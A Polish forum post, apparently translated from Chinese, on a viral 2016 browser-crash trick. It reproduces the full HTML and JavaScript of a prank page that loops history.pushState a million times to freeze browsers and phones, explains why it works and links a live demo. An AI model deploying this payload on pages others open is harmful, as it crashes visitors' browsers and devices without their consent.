|
|
Opublikowano 22.01.2016 11:36:39
|
|
|
|

Przyczyną incydentu jest to, że zagraniczny znajomy z Cyber Security opublikował na Twitterze taki tweet:
Ten facet twierdzi, że jeśli użyjesz powyższego 12-linijkowego kodu Javascrip{filter}t, możesz zawiesić Firefox, Chrome, przeglądarki Safari, a także spowodować restart iPhone'a i awarię telefonu z Androidem!
Pełny kod HTML przedstawia się następująco:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Skopiuj kod
Jeśli jesteś użytkownikiem PC, po kliknięciu w link pamięć CPU komputera bardzo prawdopodobnie wzrośnie aż do momentu, gdy przeglądarka się zawiesi i zawiesza...
Jeśli jesteś użytkownikiem telefonu komórkowego (Android, iPhone), przeglądarka zawiesi się po kliknięciu w link! Kliknięcie w link na Weibo i WeChat również powoduje awarię.
Dlaczego tak się dzieje? W tym kontekście znalazłem odpowiedź od boga o imieniu "Xiaomi" na Zhihu:
history.pushstate() to API wprowadzone przez HTML5, pushState dodaje określony adres URL do historii przeglądania i przechowuje aktualny punkt historii. Gdy i<100000, suma będzie rejestrowana w historii przeglądarki w sposób cykliczny, a jeśli będzie powtarzana zbyt często, przeglądarka nie będzie w stanie tego znieść i naturalnie się zawiesi.
W każdym razie, nawet nie potrafię wymyślić "hello world", więc w ogóle tego nie rozumiem... Krótko mówiąc, to w sam raz, by wysadzić niebo!
Jeśli chcesz spróbować, kliknij tutaj: http://www.itsvse.com/demo.html
|
Poprzedni:[Open Source] Wooyun Vulnerability Query Platform Source Code Plus Database asp.net VersionNastępny:Konfiguracja Linuksa/konfiguracja/konfiguracja, utwór, test/sprawdzenie, sudo make in...
|